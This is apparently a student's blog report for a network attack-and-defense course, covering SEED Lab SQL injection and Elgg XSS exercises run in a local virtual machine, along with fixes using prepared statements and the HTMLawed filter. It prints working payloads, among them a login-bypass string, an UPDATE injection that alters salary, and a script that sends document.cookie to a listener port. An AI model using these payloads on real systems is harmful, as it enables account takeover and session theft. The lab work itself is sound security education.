# 20253907 2025-2026-2《网络攻防实践》第10次作业

20253907 2025-2026-2《网络攻防实践》第10次作业

1. 实践内容

这次实验是Web安全方向的两个经典漏洞:SQL注入和XSS跨站脚本攻击。说实话这俩漏洞都老掉牙了,但直到现在还是有很多网站在这上面栽跟头。所以理解它们怎么攻击、怎么防御还是挺有必要的。

1.1 SQL注入部分

这个实验用了一个SEEDLab给的员工管理系统,界面很简单,就一个登录框,进去之后能查自己的个人信息,管理员还能看所有人的信息。系统后端用的是PHP加MySQL,代码写得比较“原始”——直接把用户输入的字符串拼到SQL语句里,这就是最危险的写法。

我们要在这个系统上完成四件事:

  1. 熟悉数据库:先登录MySQL看看表结构,知道有哪些字段、存了什么数据。为后面的注入做准备。
  2. SELECT语句注入:用户名密码登录那个地方存在漏洞,目标是在完全不知道密码的情况下登录进去。典型手法就是在用户名里加单引号和注释符。
  3. UPDATE语句注入:登录进去后有个编辑个人资料的页面,可以改昵称、邮箱这些。利用同样的手法,在不应该出现的地方篡改SQL语句,实现改工资、改别人密码这种越权操作。
  4. 防御:最后用参数化查询(Prepared Statement)把代码改成安全的,验证修复效果。

SQL注入的核心原理其实很简单:攻击者把SQL关键字和特殊字符(比如单引号、井号、分号)塞到用户输入里,改变了原本SQL语句的结构。如果程序没有对输入做过滤或者转义,数据库就会执行攻击者想让它执行的命令。危害包括绕过认证、窃取数据、篡改数据,甚至拖库删库。

1.2 XSS跨站脚本攻击部分

这个实验用的平台叫Elgg,一个开源的社交网络系统,有点像简化版的微博。实验要求我们在个人资料里嵌入恶意JavaScript代码,然后让别人访问我们主页时中招。从简单的弹窗开始,一步一步做到能自动传播的蠕虫。

具体任务包括:

  • 弹窗:先写一个alert,证明代码确实能被执行。
  • 偷cookie:让弹窗显示document.cookie的内容,验证能读取到受害者的会话信息。
  • 窃取cookie:把cookie通过img标签的src参数发送到攻击者监听的端口上,模拟真实的窃取行为。
  • 自动加好友:用JavaScript发HTTP请求模拟添加好友的操作,不需要受害者点任何按钮。
  • 修改受害者资料:同样通过发请求的方式,把受害者的个人主页内容改成攻击者指定的文字。
  • 写蠕虫:把前面几个功能串在一起,让恶意脚本自己复制自己,感染一个用户的资料后,所有看他主页的人都会被感染,形成链式传播。
  • 防御:Elgg自带的HTMLawed插件可以过滤掉HTML标签和JavaScript,启用插件之后验证攻击是否被防住。

XSS的精髓是:攻击者注入的代码是在受害者浏览器里执行的,不是攻击者自己的浏览器。这就意味着能拿到受害者的cookie、假装受害者发请求、做任何受害者能做的事。危害的大小取决于受害者在系统里的权限大小——如果受害者是管理员,那攻击者就能接管整个网站。

1.3 实验环境

  • SEED Ubuntu虚拟机(自带了LAMP环境和Elgg)
  • 浏览器:Firefox
  • 工具:MySQL命令行、F12开发者工具、nc监听端口

整体来说,这两个实验覆盖了Web安全里最基础但也最经典的攻击类型,虽然现在很多网站都有防护,但理解它们的原理对以后写安全的代码很有帮助。

2. 实验过程

2.1 环境准备

这次实验用的SEEDUbuntu-16.04-32bit虚拟机,按照实验要求先修改主机名,保证实验是自己做的。

开始先启动Apache和MySQL:

sudo service apache2 start
sudo service apache2 status

image

接下来要改php文件,直接vim的话可能只读,所以先加写权限:

sudo chmod u+w /var/www/SQLInjection/unsafe_home.php
sudo chmod u+w /var/www/SQLInjection/unsafe_edit_backend.php

2.2 SQL注入实验

2.2.1 熟悉数据库

先登录MySQL看看表里有什么:
密码:seedubuntu

mysql -u root -pseedubuntu

image

进到Users数据库,查一下credential表里存了啥:

use Users;
show tables;
select * from credential;

image

2.2.2 SELECT注入绕过登录

网站登录页的PHP长这样:直接把用户名拼进SQL语句里,没做任何过滤或参数化处理。
image

$sql = "SELECT ... WHERE name='$input_uname' and Password='$hashed_pwd'";

输入网址,在用户名框里输入:Admin'#,密码随便写。SQL语句实际执行时是WHERE name='Admin'#' and Password='...',井号把后面密码判断给注释掉了,只检查用户名是不是Admin,根本不看密码就直接登进去了。
image

账号如果是:Admin,无论密码是什么都登录不进去
image

查看 /var/www/SQLInjection/unsafe_home.php 中的关键SQL语句可以发现核心原理是:用户输入的用户名 $input_uname 直接被拼接到SQL语句中,没有经过任何过滤或参数化处理

image

顺利进入页面后,可以看到很多的User Details信息。

image

2.2.3 UPDATE注入篡改数据

改工资:在Nickname字段填'alice', salary='20253907' WHERE Eid='10000'#,工资就被改成20253907了。

image

2.2.4 用预编译修复漏洞

根源在于直接把用户输入拼到SQL里了。用Prepared Statement把SQL结构和数据分开,用户输入永远不可能被当成代码执行。

登录页改成:

$sql = $conn->prepare("SELECT ... WHERE name=? and Password=?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

image

修改个人资料的页改成:

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? WHERE ID=?");
$sql->bind_param("ssssi", $input_nickname, $input_email, $input_address, $input_phonenumber, $id);

image

修复后拿Admin'#再试登录,已经不行了。

2.3 XSS跨站脚本攻击实验

http://www.xsslabelgg.com/

用户 密码
Alice seedalice
Boby seedboby
Samy seedsamy
Admin seedelgg

2.3.1 弹窗攻击

登录Alice,进Profile点Edit Profile。Brief description里写:

<script>alert('XSS by XZH');</script>

立马可以看到我的弹窗
image

2.3.2 显示Cookie信息

把上面的代码改成:

<script>alert(document.cookie+"\n20253917");</script>

弹窗直接显示会话Cookie。
image

2.3.3 偷Cookie

攻击者要把Cookie弄到手,得想办法从浏览器发给攻击者控制的服务器。在Alice上监听5555端口,等着收Cookie:

nc -l 12138-v

然后在Brief description里写:

<script> document.write('<img src=http://127.0.0.1:12138?cookies=' + document.cookie + '>'); </script>

Boby访问时浏览器就会向攻击服务器发请求,Cookie跟着URL参数传过去,nc那边就能收到。

image

2.3.4 自动加好友

然后构造自动加好友的JS代码,写到Alice的Brief description里:
image

用Boby访问Alice主页后,Boby的好友列表里多了一个Alice,完全不用Boby自己操作。
image

2.3.5 改受害者资料

同样先抓包,分析修改个人资料的请求。然后写攻击代码:

image

if(elgg.session.user.guid != 44)用来排除攻击者自己。Boby访问后资料被改成了“我被XSS攻击了”。

image

2.3.6 XSS蠕虫

XSS蠕虫原理与上两个实验基本一致,对于蠕虫而言我们要做的就是不断的对自身进行复制,构造复制代码:
image

任何看过被感染用户主页的人都会中招,形成链式传播,效果类似于MySpace上的Samy蠕虫。
image

2.3.7 防御XSS

Elgg自带了HTMLawed过滤插件。用admin账号登录,进Administration→Plugins,找到HTMLawed点Deactivate禁用。禁用后JS代码又无效了,说明开启插件可以有效防御存储型XSS攻击。
image

三、学习中遇到的问题及解决

  • 问题1:改php文件时报只读
    解决chmod u+w 加写权限,用vim改不搞gedit,gedit有时候提权了还只读。

  • 问题2:改密码直接输明文不行
    解决:数据库里存的SHA1哈希,要先sha1sum把明文哈希一下再注入。

  • 问题3:XSS自动加好友代码过长,弹窗显示失败
    解决:使用aboutme关闭富文本输入,富文本会将原有特殊字符进行转义处理无法触发。

  • 问题4:蠕虫脚本复制自己时HTML标签被转义
    解决:用encodeURIComponent()编码脚本内容,避免破坏原来HTML结构。

  • 问题5:XSS实验时nc监听收不到Cookie
    解决:确认监听端口是否允许入站连接,防火墙或者虚拟网络策略可能导致丢包,加打印确认发送。

四、实验总结

通过这次实验,我把SQL注入和XSS从头到尾走了一遍,理论和实际对上了。

SQL注入的根源就是开发者信了用户输入,直接拼SQL字符串。动手之后才体会到,改工资、改密码这种操作在真实环境里危害有多大。修复方法就是参数化查询,SQL结构和数据分开,别自己拼接。

XSS这块最让我印象深刻的是偷Cookie和蠕虫传播。Cookie被拿到之后会话就能被完全接管;蠕虫能在用户之间自动传播,说明存储型XSS的杀伤力确实大,写代码的时候输入过滤和输出转义绝对不能省。

这次实验把“注入—越权—外带—自动化—蠕虫化—再防御”这条Web攻防链路基本都跑了一遍,以后写代码写渗透测试应该都能用得上这些经验。

posted @ 2026-06-01 17:54  navada  阅读(15)  评论(0)    收藏  举报